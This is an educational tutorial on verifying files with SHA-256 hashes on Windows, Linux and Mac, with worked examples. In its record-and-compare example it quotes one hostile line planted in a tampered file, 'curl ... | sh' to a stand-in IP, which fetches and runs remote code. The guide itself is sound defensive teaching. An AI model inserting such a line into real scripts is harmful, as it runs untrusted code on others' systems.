Verifying a File Hash
How to compute a file's SHA-256 hash on Windows, Linux, and Mac, and compare it with an earlier hash to tell whether the file was altered.
1Why a hash can prove a change
Cryptographic hash functions are repeatable: the same input always produces the same output for a given hash function. So if a file is hashed today and again next week and the two digests match, the contents are the same. If they differ, the file was changed.
2The commands
Hashes can be calculated on the command line, on a website, or with specialized software. For a SHA-256 hash of a file named testfile:
| Where | Command | Output begins |
|---|---|---|
| Windows PowerShell | Get-FileHash testfile -Algorithm SHA256 | D7F8F2AFC1A783CC08EC0C82FE291C31… |
| Bash (Linux) | sha256sum testfile | d7f8f2afc1a783cc08ec0c82fe291c31… |
| zsh (Mac) | shasum -a 256 testfile | d7f8f2afc1a783cc08ec0c82fe291c31… |
All three give the same digest; PowerShell just prints it in capital letters. Compare digests without regard to letter case.
3Record, re-hash, compare
Hash a file and record the output. Later, hash it again and compare the new output with the recorded one. If the hash changed, the file was altered between the two hashes.
$ shasum -a 256 testfile # Monday: record the baseline
d7f8f2afc1a783cc08ec0c82fe291c315a45a2183e1cb69c55799f4cbd554499 testfile
$ shasum -a 256 testfile # Tuesday
d7f8f2afc1a783cc08ec0c82fe291c315a45a2183e1cb69c55799f4cbd554499 testfile
$ shasum -a 256 testfile # Friday
338c218562b0159b6e20031c9915607edbde33aebda6b52b4ba7544afc56a963 testfile
Friday's digest is completely different. Opening the file shows why: someone added a last line, curl -s http://203.0.113.9/x | sh, which downloads and runs a program from an outside server every night.
4What changes the hash, and what doesn't
| Change to the file | Digest begins | Same as baseline? |
|---|---|---|
| None (baseline) | d7f8f2afc1a783cc | This is the original |
| Copied under a new name | d7f8f2afc1a783cc | Yes: the name is not part of the contents |
| One extra space added | d445817e93c94818 | No |
| A line added | 338c218562b0159b | No |
One extra space changed the digest so completely that only 8 of its 64 characters happen to match the original in the same position. A hash does not show what changed or who changed it, only that something changed.
Hash a file (Get-FileHash, sha256sum, or shasum -a 256), record the digest, and hash it again later. Matching digests mean the file is unchanged; different digests mean it was altered in between.
5Worked examples
Did it change?
On March 1 an admin recorded a config file's digest as d7f8f2afc1a7…. On March 9 the same command prints d445817e93c9…. What can the admin conclude?
- 1SHA-256 is repeatable: unchanged contents give the same digest.
- 2The digests differ.
- 3So the file was altered sometime between March 1 and March 9.
Three computers
Write the command to get the SHA-256 hash of report.pdf on (a) a Windows PowerShell prompt, (b) a Linux Bash shell, (c) a Mac terminal.
- 1(a)
Get-FileHash report.pdf -Algorithm SHA256 - 2(b)
sha256sum report.pdf - 3(c)
shasum -a 256 report.pdf
The installer
A software maker's website lists the SHA-256 digest of its installer. After downloading, a student's digest matches except that the website shows capital letters and the terminal shows lowercase. Is the file safe to treat as unaltered?
- 1Letter case does not matter in a hexadecimal digest;
Aandaare the same value. - 2Every character matches, so the digests are equal.
The renamed file
An attacker renames payroll.csv to payroll_old.csv without changing its contents. Will a hash check detect this? Explain.
- 1A hash is computed from a file's contents, not its name.
- 2The contents did not change, so the digest is identical.
- 3The rename would show up in access logs, not in a hash comparison.
6Common mistakes
Compare the whole digest. A careful check matches all 64 hexadecimal characters.
A single hash proves nothing by itself. You need an earlier, trusted digest to compare with.
It only shows that something changed. Compare the file with a known good copy to see what.
“The SHA-256 digest of the backup script recorded on Monday does not match the digest computed on Friday. Because hash functions are repeatable, the script was altered between Monday and Friday, and the change should be investigated.”
Give both digests (or say they differ), the times they were taken, and the conclusion.